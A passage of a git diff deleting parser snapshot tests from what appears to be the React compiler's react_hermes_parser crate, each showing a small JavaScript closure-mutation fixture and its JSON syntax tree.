-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              54
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              80,
-                              81
-                            ]
-                          },
-                          "init": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              84,
-                              85
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            80,
-                            85
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        76,
-                        86
-                      ]
-                    },
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              91,
-                              92
-                            ]
-                          },
-                          "property": {
-                            "type": "StringLiteral",
-                            "value": "x",
-                            "loc": null,
-                            "range": [
-                              93,
-                              96
-                            ]
-                          },
-                          "computed": true,
-                          "loc": null,
-                          "range": [
-                            91,
-                            97
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            100,
-                            101
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          91,
-                          101
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        91,
-                        102
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    70,
-                    106
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  58,
-                  106
-                ],
-                "loc": null,
-                "range": [
-                  58,
-                  106
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                57,
-                109
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              57,
-              110
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  113,
-                  119
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    120,
-                    121
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                113,
-                122
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              113,
-              123
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                133,
-                134
-              ]
-            },
-            "loc": null,
-            "range": [
-              126,
-              135
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          137
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        137
-      ],
-      "loc": null,
-      "range": [
-        0,
-        137
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    137
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-receiver-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-receiver-mutate.js.snap
deleted file mode 100644
index 4de023d387dd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-receiver-mutate.js.snap
+++ /dev/null
@@ -1,384 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-alias-receiver-mutate.js
----
-Input:
-function component(a) {
-  let x = { a };
-  let y = {};
-  (function () {
-    let a = y;
-    a.x = x;
-  })();
-  mutate(y);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              54
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              80,
-                              81
-                            ]
-                          },
-                          "init": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              84,
-                              85
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            80,
-                            85
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        76,
-                        86
-                      ]
-                    },
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              91,
-                              92
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              93,
-                              94
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            91,
-                            94
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            97,
-                            98
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          91,
-                          98
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        91,
-                        99
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    70,
-                    103
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  58,
-                  103
-                ],
-                "loc": null,
-                "range": [
-                  58,
-                  103
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                57,
-                106
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              57,
-              107
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  110,
-                  116
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                110,
-                119
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              110,
-              120
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                130,
-                131
-              ]
-            },
-            "loc": null,
-            "range": [
-              123,
-              132
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          134
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        134
-      ],
-      "loc": null,
-      "range": [
-        0,
-        134
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    134
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate-2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate-2.js.snap
deleted file mode 100644
index 78088d3fff1d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate-2.js.snap
+++ /dev/null
@@ -1,425 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-2.js
----
-Input:
-function component(a, b) {
-  let y = { b };
-  let z = { a };
-  let x = function () {
-    z.a = 2;
-    y.b;
-  };
-  x();
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    51
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        56,
-                        57
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    54,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              60
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "z",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                89,
-                                90
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                91,
-                                92
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              89,
-                              92
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 2.0,
-                            "loc": null,
-                            "range": [
-                              95,
-                              96
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            89,
-                            96
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          89,
-                          97
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              102,
-                              103
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              104,
-                              105
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            102,
-                            105
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          102,
-                          106
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      83,
-                      110
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    71,
-                    110
-                  ],
-                  "loc": null,
-                  "range": [
-                    71,
-                    110
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  67,
-                  110
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              63,
-              111
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  114,
-                  115
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                114,
-                117
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              114,
-              118
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                128,
-                129
-              ]
-            },
-            "loc": null,
-            "range": [
-              121,
-              130
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          132
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        132
-      ],
-      "loc": null,
-      "range": [
-        0,
-        132
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    132
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate-3.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate-3.js.snap
deleted file mode 100644
index 750cda82725d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate-3.js.snap
+++ /dev/null
@@ -1,396 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-3.js
----
-Input:
-function component(a, b) {
-  let y = { b };
-  let z = { a };
-  let x = function () {
-    z.a = 2;
-    y.b;
-  };
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    51
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        56,
-                        57
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    54,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              60
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "z",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                89,
-                                90
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                91,
-                                92
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              89,
-                              92
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 2.0,
-                            "loc": null,
-                            "range": [
-                              95,
-                              96
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            89,
-                            96
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          89,
-                          97
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              102,
-                              103
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              104,
-                              105
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            102,
-                            105
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          102,
-                          106
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      83,
-                      110
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    71,
-                    110
-                  ],
-                  "loc": null,
-                  "range": [
-                    71,
-                    110
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  67,
-                  110
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              63,
-              111
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                121,
-                122
-              ]
-            },
-            "loc": null,
-            "range": [
-              114,
-              123
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          125
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        125
-      ],
-      "loc": null,
-      "range": [
-        0,
-        125
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    125
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate-nested.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate-nested.js.snap
deleted file mode 100644
index 749f2d9359fa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-mutate-nested.js.snap
+++ /dev/null
@@ -1,355 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-mutate-nested.js
----
-Input:
-function component(a) {
-  let y = { b: { a } };
-  let x = function () {
-    y.b.a = 2;
-  };
-  x();
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "ObjectExpression",
-                        "properties": [
-                          {
-                            "type": "Property",
-                            "key": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                41,
-                                42
-                              ]
-                            },
-                            "value": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                41,
-                                42
-                              ]
-                            },
-                            "kind": "init",
-                            "method": false,
-                            "shorthand": true,
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              41,
-                              42
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          39,
-                          44
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        44
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              47
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    55
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "y",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  76,
-                                  77
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "b",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  78,
-                                  79
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                76,
-                                79
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                80,
-                                81
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              76,
-                              81
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 2.0,
-                            "loc": null,
-                            "range": [
-                              84,
-                              85
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            76,
-                            85
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          86
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      70,
-                      90
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    58,
-                    90
-                  ],
-                  "loc": null,
-                  "range": [
-                    58,
-                    90
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  54,
-                  90
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              50,
-              91
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
